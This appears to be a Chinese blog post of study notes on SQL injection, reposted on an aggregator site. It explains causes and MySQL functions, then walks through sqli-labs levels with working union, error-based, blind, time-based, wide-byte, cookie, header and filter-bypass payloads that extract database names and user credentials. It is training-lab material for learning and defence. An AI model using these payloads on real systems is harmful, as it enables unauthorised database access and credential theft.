网络安全笔记-99-渗透-SQL注入

网络安全笔记-99-渗透-SQL注入SQL 注入 成因 处理程序和数据库交互时 使用字符串拼接的方式构造 SQL 语句 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中 注入点可能存在的位置 GET 数据 POST 数据 HTTP 头部 Cookie 数据 分类 联合查询 报错注入 布尔注入 延时注入 堆叠查询 MySQL 相关函数 函数名 作用

大家好,我是讯享网,很高兴认识大家。

SQL注入

成因:

  • 处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  • 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

注入点可能存在的位置

  • GET数据
  • POST数据
  • HTTP头部
  • Cookie数据

分类

  • 联合查询
  • 报错注入
  • 布尔注入
  • 延时注入
  • 堆叠查询

MySQL相关函数

函数名 作用
version() 返回数据库版本
database() 返回数据库名
user()
current_user()
system_user()
返回用户名
@@datadir 返回数据库路径
@@version_compile_os 返回操作系统版本
length() 返回字符串长度
substring()
substr()
mid()
截取字符串:
参数1:字符串
参数2:起始位置,索引从1开始
参数3:截取长度
concat() 不带分隔符链接字符串
concat_ws() 带分隔符链接字符串:
concat_ws(’-’,‘a’,‘b’,‘c’)
group_concat() 链接一组查询结果字符串
ord()
ascii()
返回字符串的ASCII值
left() 从左边开始截取字符串:
参数1:字符串
参数2:截取的长度
rand() 返回0-1之间的浮点数
round() 四舍五入:
round(4.,2)–>4.23
floor() 向下取整
load_file() 返回读取文件的内容,返回字符串类型
if() 判断:if(exp1,exp2,exp3):
如果exp1为真,返回exp2,否则返回exp3
updatexml() 报错注入可以用到的函数,如果参数2格式不正确,会报错误信息,此时将需要的函数填在这里就会爆出需要的信息
参数1:string格式,为xml文档对象的名称
参数2:xpath格式的字符串
参数3:string格式,替换查找到的符合条件的数据
addslashes() 转义特殊字符(’ " \)
hex() 将字符串转换为16进制
unhex()
limit m,n 从m开始 查找n条(索引从0开始)

1.联合查询

使用union连接两张表。

sqli-lab less1:

步骤:

  1. 判断注入点:单引号注入
  2. 判断列数:order by
  3. 查找数据库名:database()
  4. 查找表:

http://localhost/sql/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+

  1. 查找字段:

http://localhost/sql/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),3 --+

  1. 查找数据:

http://localhost/sql/Less-1/?id=-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 --+

2.报错注入

updatexml报错注入

updatexml需要三个参数,作用是改变文档中符合条件的节点的值

参数1:string格式,为xml文档对象的名称
参数2:xpath格式的字符串
参数3:string格式,替换查找到的符合条件的数据

sqli-lab less5:

image-20201208151914732
讯享网

步骤:

  1. 查找库:

http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select database() )),2) --+

0x7e=~

由于updatexml的第二个参数需要xpath 格式的字符串,concat函数用~符号开头不是xml的语法,所以就会将括号内的执行结果以错误的形式报出,如上图所示,这样就实现了报错注入。

  1. 查找表:

http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database() )),2) --+

  1. 查找字段:

http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ )),2) --+

  1. 查找数据:

由于updatexml报错只显示一条数据,所以需要使用limit逐个爆出数据。

http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select concat_ws(0x7e,username,password) from users limit 0,1)),2) --+

extractvalue报错注入

作用:对xml文档进行查询的函数,手法与updatexml函数相同。

参数1:目标xml文档名

参数2:xpath格式的字符串

参数2错误就会爆出与updatexml相同的报错信息。

查找库示例:

http://localhost/sql/Less-5?id=1’ union select extractvalue(‘anything’,concat(0x7e, (select database() ))) --+

floor(group by)报错注入

floor报错注入是三个函数一起作用:floor(), count(), rand(),group by

原理:https://www.cnblogs.com/litlife/p/8472323.html

img

sqli-lab less5:
  1. 查找库:如下图所示。
image-20201208164110226

http://localhost/sql/Less-5?id=-1’ union

select 1,
count(*),
concat( (select database()) , 0x7e, floor(rand(0)*2) )as a
from information_schema.tables group by a --+

剩下的查询只需要将select database() 替换为我们需要的即可。

  1. 查找表:如下如所示

image-20201208165556592

http://localhost/sql/Less-5?id=-1’ union

select 1,
count(*),
concat( (select table_name from information_schema.tables where table_schema=database() limit 0,1 ) , 0x7e, floor(rand(0)*2) ) as a
from information_schema.tables group by a --+

  1. 查找字段:

image-20201208170246031

http://localhost/sql/Less-5?id=-1’ union

select 1,
count(*),
concat( (select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1 ) , 0x7e, floor(rand(0)*2) )as a
from information_schema.tables group by a --+

  1. 查找数据:

image-20201208170712163

http://localhost/sql/Less-5?id=-1’ union

select 1,
count(*),
concat( (select concat(username, 0x7e, password) from users limit 0,1 ) , 0x7e, floor(rand(0)*2) )as a
from information_schema.tables group by a --+

3.布尔注入

页面不回显数据,也不产生报错信息。

只返回“正确”或“错误”的页面。

sqli-lab less8:

http://localhost/sql/Less-8?id=1’ and left(database() ,1)=‘s’–+

http://localhost/sql/Less-8?id=1’ and substr(database() ,1,1)=‘s’–+

http://localhost/sql/Less-8?id=1’ and substring(database() ,1,1)=‘s’–+

http://localhost/sql/Less-8?id=1’ and mid(database() ,1,1)=‘s’–+

http://localhost/sql/Less-8?id=1’ and substring(database() ,1,1)=‘s’–+

http://localhost/sql/Less-8?id=1’ and ascii(substr(database() ,1,1))=115–+

4.延时注入

在页面无报错,无回显,布尔注入无法判断的情况下可以用延时注入。

主要用到的函数有:

sleep()|benchmark(),if()…

sqli-lab less9:

http://localhost/sql/Less-9/?id=1’ and if(length(database())=8,sleep(5),1) --+

http://localhost/sql/Less-9/?id=1’ and if( substr(database() ,1,8)=‘security’ ,sleep(5),1) --+

5.堆叠查询

payload:';select if(substr(database(),1,1)='s',sleep(5),1)--+'

在堆叠查询注入页面中,GET参数id时使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果。

使用PDO执行SQL语句,可以执行多条语句,不过这样通常不能得到注入结果,因为PDO只会返回第一条SQL语句的结果,所以在第二条语句中可以用update更新数据或者延时注入获取信息。

其他注入方式

1.宽字节注入

sqli-lab less32:

当我们正常输入Less-32/?id=1时,页面正常显示,有回显。

image-20201210234124000

在1后面添加单引号’:

image-20201210234235871

页面提示我们1后面的单引号被反斜线转义了,[1\’]变成了16进程的[315c27]。转义后我们添加的单引号就无法在SQL语句中起作用。

测试发现无论单引号还是双引号都被转义。

我们的目的就是要使转义符号反斜线\失效。

原理:

正常情况下,一个字节可以表示一个字符,但是汉字需要两个字节表示一个字符。

gbk正是表示汉字的编码方式,需要两个字节来表示一个字符。

查询的时候需要将sql语句转换为16进制编码,当我们在添加参数时程序会对我们的参数进行转义,最后再使用16进制的解码查询。

当我们添加的参数有单引号时,程序自动对单引号转义变成\’,最后变成%5C%27。我们可以自己先在参数中添加%,然后%后面跟gbk的编码范围8140-FEFE,df属于这个区间,最后可以构造成%df。当我们提交参数%df',程序先对单引号转义就变成%df\',然后数据库执行查询时进行16进制编码,变成%df5c27,gbk读取到df时,正好在gbk的编码范围内,gbk就会读取两个字节%df5c,这样反斜线\的16进制编码就失效了。只剩下一个单引号可以继续起作用。

其实可以将df替换为gbk编码范围的其他字符。

image-20201211005346907

image-20201211005001166

2.Cookie注入

sqli-lab less20:cookie注入

在登录完成之后,服务器端给浏览器下发cookie,再次刷新页面时浏览器端携带cookie从服务器端获取信息。

服务器端会将cookie带入数据库查询,返回已登录用户的信息。此时就是cookie注入的注入点。

通过bp修改cookie信息,使用报错方式显示出数据库名。

image-20201211114827203

3.Base64注入

sqli-lab less22:base64型的cookie报错注入

登录后服务端首先将cookie信息进行base64编码,然后将编码后的信息下发到浏览器端。浏览器再次发送请求时将携带经过编码的cookie(注入点发生在这里,直接发送经过编码攻击语句)。服务端利用base64_decode()解码,然后带入数据库进行查询。

image-20201211151222975

4.HTTP头部注入

1.User-Agent注入
sqli-lab less18:

image-20201211154332976

2.Refer注入
sqli-lab less19:

注入点发生在refer信息。

image-20201214160016922

Sqli-Lab 通关

less 21:cookie的base64编码注入

闭合方式:’)

uname=1’) select 1,2,database()#

经过base64编码之后:

uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

less22:base64型的cookie注入

见上文。

闭合方式:"

1" and updatexml(1,concat(’’,database(),’’),1)#

MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==

less 23:过滤字符

过滤:# 和–+

http://localhost/sql/Less-23/?id=-3’ union select 1,database(),3 and ‘1’ ='1

image-20201214170858978

less 25:过滤or和and的单引号注入

http://localhost/sql/Less-25/?id=-1’ union select 1,2,database()–+

less 25:过滤or和and的数字型注入

http://192.168.17.137/sql/Less-25a/?id=-1 union select 1,database(),3 --+

less 26:'的过滤注入

过滤字符:
image-20201214183706591

http://192.168.17.137/sql/Less-26/?id=1’anandd(updatexml(1,concat(0x5e,database(),0x5e),1))aandnd’1’='1

less 26a:’)的过滤注入

过滤方式与less 26 相同,闭合方式为’)。

但是不报错了,所以不能用报错注入,这里采用延时注入。

http://192.168.17.137/sql/Less-26a/?id=1’)anandd(if(length(database())=8,sleep(5),1))aandnd’1’=('1

less 27:'的过滤注入

过滤字符:

image-20201215163941679

采用报错注入:

http://192.168.17.144/sql/Less-27/?id=1’and(updatexml(1,concat(0x5e,database(),0x5e),1))and’1’='1

less 27a:"的过滤注入

过滤字符同上,闭合方式为"

但是没有报错信息。

采用盲注的方法:

http://192.168.17.144/sql/Less-27a/?id=1"and( if( length(database())=8,sleep(5) ,1) )and"1"="1

less 28:’)的过滤注入

过滤字符:

闭合方式:’)

image-20201215171336901

采用报错注入

http://192.168.17.144/sql/Less-28/?id=1’)and(updatexml(1,concat(0x5e,database(),0x5e),1))and’1’=('1

less 28a:’)的过滤注入

过滤字符同上,闭合方式也同上。

但是没有报错信息。

less 29:WAF绕过

由于我搭建的wamp环境,无法正常运行less29。

所以可以参考这篇文章:https://www.cnblogs.com/lcamry/p/5762961.html

我们查看源码可以发现,在login.php中有一个whitelist白名单函数,作用是用来过滤参数。

如下:

image-20201215175742410

该函数为只允许用户输入数字.

http://192.168.17.144/sql/Less-29/?id=1&id=-1’ union select 1,2,database()%23

less 30:

与less29相同,只需把单引号换成双引号。

less 31

原理同less 29,闭合方式为")

less 32: 宽字节注入

见上。

less 33:宽字节注入

与less 32一样

less 34:post型的宽字节注入

image-20201215190537291

less 35:数字型注入

image-20201216152432536

直接使用联合查询即可。

less 36:

http://192.168.17.144/sql/Less-36/?id=-1%df’ union select 1,2,database()–+

image-20201216163302693

使用mysql_real_escape_string()来过滤,该函数的作用是转义MySQL语句中的特殊字符。

仍然可以使用宽字节注入的方式来完成。

less 37:

与36关相似,只是请求方式发生变化,变为post方式提交,使用bp抓包修改即可。

image-20201216225833800

另一种方法:

image-20201216170258539

image-20201216185427267

1�’ union select database(),2#

关于宽字节注入的个人理解:

  1. 不管是get参数还是post参数,浏览器提交时都会先对其进行url编码后再发送数据包。(对非ascii码字符)

(碰到%时绕过,保留字除外【&,=】)

​ eg:id=1%df’ url编码后:id=1%df%27

  1. 服务器收到后先对参数进行url解码eg:

    eg:%df%27 url解码后:�’

  2. 程序对单引号’转义:‘变成\’
  3. 此时参数为�\’
  4. 由于数据库编码方式为GBK,该参数字符无法识别
  5. 将参数转码为16进制编码

    eg:�\’ 16进制编码后:%df%5c%27

  6. GBK解码:%df在GBK编码范围内,所以会连续读取两个字节(%df%5c)
  7. 解码后:運’
小讯
上一篇 2025-01-24 22:09
下一篇 2025-03-28 19:28

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/130040.html